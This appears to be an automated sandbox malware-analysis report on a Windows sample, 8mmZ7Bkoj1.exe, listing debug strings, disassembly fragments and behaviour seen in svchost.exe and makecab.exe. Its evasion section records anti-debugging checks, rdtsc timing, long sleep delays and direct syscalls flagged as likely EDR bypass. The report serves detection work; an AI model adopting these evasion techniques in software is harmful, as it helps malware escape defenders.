Source: 8mmZ7Bkoj1.exe

Static file information: File size 1366295 > 1048576

Source:	Binary string: makecab.pdbGCTL source: svchost.exe, 00000001.00000003.2111036861.000000000282A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110933749.000000000281B000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000002.3561180212.00000000010E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eKxwLXHhqpgy.exe, 00000005.00000002.3560737950.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, eKxwLXHhqpgy.exe, 00000007.00000000.2224546408.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000001.00000002.2155609002.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2032565118.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2155609002.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2036860924.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.000000000489E000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.0000000004700000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2155490594.000000000454C000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2145069382.000000000439C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000001.00000002.2155609002.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2032565118.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2155609002.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2036860924.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, makecab.exe, 00000006.00000002.3561799198.000000000489E000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.0000000004700000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2155490594.000000000454C000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2145069382.000000000439C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: makecab.pdb source: svchost.exe, 00000001.00000003.2111036861.000000000282A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110933749.000000000281B000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000002.3561180212.00000000010E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: makecab.exe, 00000006.00000002.3562512745.0000000004D2C000.00000004.10000000.00040000.00000000.sdmp, makecab.exe, 00000006.00000002.3560929755.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561845912.00000000031CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2451289116.000000001C1CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: makecab.exe, 00000006.00000002.3562512745.0000000004D2C000.00000004.10000000.00040000.00000000.sdmp, makecab.exe, 00000006.00000002.3560929755.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561845912.00000000031CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2451289116.000000001C1CC000.00000004.80000000.00040000.00000000.sdmp

Source: 8mmZ7Bkoj1.exe

Static PE information: real checksum: 0xa961f should be: 0x159e18

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02421AE3 push 88B26662h; iretd	1_2_02421B18
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02425A83 push cs; ret	1_2_02425BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02421B47 push 88B26662h; iretd	1_2_02421B18
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02428B73 push 15314FBEh; retf C913h	1_2_02428BDD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02425B1A push cs; iretd	1_2_02425B1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02413330 push eax; ret	1_2_02413332
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0243E3B3 push edi; iretd	1_2_0243E3B9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241D67D push eax; ret	1_2_0241D67E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02418604 pushad ; iretd	1_2_02418605
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02411F8B push ebp; retf	1_2_02411F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02428CE2 push eax; retf	1_2_02428CE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024184EF push ss; retf	1_2_024184F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD push ecx; mov dword ptr [esp], ecx	1_2_02E309B6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047309AD push ecx; mov dword ptr [esp], ecx	6_2_047309B6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0281C2A7 push ebp; iretd	6_2_0281C2AC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028052D1 pushad ; iretd	6_2_028052D2
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0281C33E push ss; ret	6_2_0281C346
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0281D360 push esi; retf	6_2_0281D36B
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0282B080 push edi; iretd	6_2_0282B086
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028051BC push ss; retf	6_2_028051C6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280E7B0 push 88B26662h; iretd	6_2_0280E7E5
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028127E7 push cs; iretd	6_2_028127E9
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02812750 push cs; ret	6_2_0281288D
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02823750 push eax; ret	6_2_02823706
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02817457 push edx; ret	6_2_028174C6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280E814 push 88B26662h; iretd	6_2_0280E7E5
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028159AF push eax; retf	6_2_028159B0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045D4568 push esi; iretd	6_2_045D457A
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045D5751 push ds; ret	6_2_045D5753
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045D6397 push ds; iretd	6_2_045D63A3
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045D0DF7 push cs; iretd	6_2_045D0DF8

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	API/Special instruction interceptor: Address: 40D846C
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\makecab.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02E7096E rdtsc

1_2_02E7096E

Source: C:\Windows\SysWOW64\makecab.exe	Window / User API: threadDelayed 3883			Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Window / User API: threadDelayed 6090			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\makecab.exe	API coverage: 3.2 %

Source: C:\Windows\SysWOW64\makecab.exe TID: 7872	Thread sleep count: 3883 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe TID: 7872	Thread sleep time: -7766000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe TID: 7872	Thread sleep count: 6090 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe TID: 7872	Thread sleep time: -12180000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe TID: 7940	Thread sleep time: -50000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\makecab.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\makecab.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\makecab.exe

Code function: 6_2_0281C541 FindFirstFileW,FindNextFileW,FindClose,

6_2_0281C541

Source: firefox.exe, 00000008.00000002.2453082168.000002469C18D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^UP
Source: makecab.exe, 00000006.00000002.3560929755.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561304982.00000000012DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02E7096E rdtsc

1_2_02E7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_024277C3 LdrLoadDll,

1_2_024277C3

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402E1 mov eax, dword ptr fs:[00000030h]	1_2_02E402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402A0 mov eax, dword ptr fs:[00000030h]	1_2_02E402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402A0 mov eax, dword ptr fs:[00000030h]	1_2_02E402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E284 mov eax, dword ptr fs:[00000030h]	1_2_02E6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E284 mov eax, dword ptr fs:[00000030h]	1_2_02E6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2826B mov eax, dword ptr fs:[00000030h]	1_2_02E2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB8243 mov eax, dword ptr fs:[00000030h]	1_2_02EB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB8243 mov ecx, dword ptr fs:[00000030h]	1_2_02EB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A250 mov eax, dword ptr fs:[00000030h]	1_2_02E2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36259 mov eax, dword ptr fs:[00000030h]	1_2_02E36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2823B mov eax, dword ptr fs:[00000030h]	1_2_02E2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E663FF mov eax, dword ptr fs:[00000030h]	1_2_02E663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC3CD mov eax, dword ptr fs:[00000030h]	1_2_02EEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB63C0 mov eax, dword ptr fs:[00000030h]	1_2_02EB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov ecx, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED43D4 mov eax, dword ptr fs:[00000030h]	1_2_02ED43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED43D4 mov eax, dword ptr fs:[00000030h]	1_2_02ED43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5438F mov eax, dword ptr fs:[00000030h]	1_2_02E5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5438F mov eax, dword ptr fs:[00000030h]	1_2_02E5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED437C mov eax, dword ptr fs:[00000030h]	1_2_02ED437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov ecx, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA352 mov eax, dword ptr fs:[00000030h]	1_2_02EFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED8350 mov ecx, dword ptr fs:[00000030h]	1_2_02ED8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C310 mov ecx, dword ptr fs:[00000030h]	1_2_02E2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50310 mov ecx, dword ptr fs:[00000030h]	1_2_02E50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_02E2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E380E9 mov eax, dword ptr fs:[00000030h]	1_2_02E380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB60E0 mov eax, dword ptr fs:[00000030h]	1_2_02EB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_02E2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E720F0 mov ecx, dword ptr fs:[00000030h]	1_2_02E720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB20DE mov eax, dword ptr fs:[00000030h]	1_2_02EB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC80A8 mov eax, dword ptr fs:[00000030h]	1_2_02EC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF60B8 mov eax, dword ptr fs:[00000030h]	1_2_02EF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_02EF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3208A mov eax, dword ptr fs:[00000030h]	1_2_02E3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5C073 mov eax, dword ptr fs:[00000030h]	1_2_02E5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32050 mov eax, dword ptr fs:[00000030h]	1_2_02E32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6050 mov eax, dword ptr fs:[00000030h]	1_2_02EB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A020 mov eax, dword ptr fs:[00000030h]	1_2_02E2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C020 mov eax, dword ptr fs:[00000030h]	1_2_02E2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6030 mov eax, dword ptr fs:[00000030h]	1_2_02EC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4000 mov ecx, dword ptr fs:[00000030h]	1_2_02EB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
